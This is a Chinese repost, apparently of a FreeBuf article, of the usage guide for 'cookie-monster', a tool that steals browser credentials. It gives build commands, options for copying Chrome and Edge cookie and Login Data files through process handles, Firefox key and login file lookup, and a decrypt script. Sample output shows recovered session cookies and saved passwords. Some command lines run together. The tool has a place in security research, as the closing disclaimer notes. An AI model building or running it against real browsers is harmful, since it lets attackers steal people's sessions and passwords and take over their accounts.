Mingw-w64 pycryptodome pyasn1_modules
git clone https://github.com/KingOfTheNOPs/cookie-monster.gitcd cookie-monster
pip3 install -r requirements.txtmakegcc .cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32 -lntdllBOF使用
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>]cookie-monster Example: cookie-monster --chrome cookie-monster --edge cookie-moster --firefox cookie-monster --chromeCookiePID 1337 cookie-monster --chromeLoginDataPID 1337 cookie-monster --edgeCookiePID 4444 cookie-monster --edgeLoginDataPID 4444cookie-monster Options:--chrome 会查看所有正在运行的进程和句柄，如果其中一个与chrome.exe匹配，它会将句柄复制到Cookies/Login Data，然后将文件复制到CWD；--edge 会查看所有正在运行的进程和句柄，如果其中一个与msedge.exe匹配，它会将句柄复制到Cookies/Login Data，然后将文件复制到CWD；--firefox 查找profiles.ini并定位key4.db和logins.json文件；--chromeCookiePID 如果提供了chromePID，请查找具有cookie句柄的指定进程。如果已知cookie句柄，请指定PID以复制其句柄和文件；--chromeLoginDataPID 如果提供了chrome PID，请查找具有登录数据句柄的指定进程，指定PID以复制其句柄和文件；--edgeCookiePID 如果提供了Edge PID，请查找具有cookie句柄的指定进程。如果已知cookie句柄，请指定PID以复制其句柄和文件； --edgeLoginDataPID 如果提供了Edge PID，请查找具有登录数据句柄的指定进程。如果已知登录数据，请指定PID以复制其句柄和文件；EXE使用
Cookie Monster Example:
cookie-monster.exe --all
Cookie Monster Options:
-h, --help 显示帮助信息和退出
--all 运行chrome, edge, 和firefox方法
--edge 提取Edge密钥并下载Cookies/Login数据至PWD
--chrome 提取Chrome密钥并下载Cookies/Login数据至PWD
--firefox 定位Firefox密钥和Cookie，不拷贝文件解密脚本
python .decrypt.py "xecxfc...." --cookies ChromeCookie.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22python .decrypt.py "xecxfc...." --passwords ChromePasswords.db
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTestyCookie-Monster：
原文始发于微信公众号（FreeBuf）：Cookie-Monster：一款针对Web浏览器的安全分析与数据提取工具
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论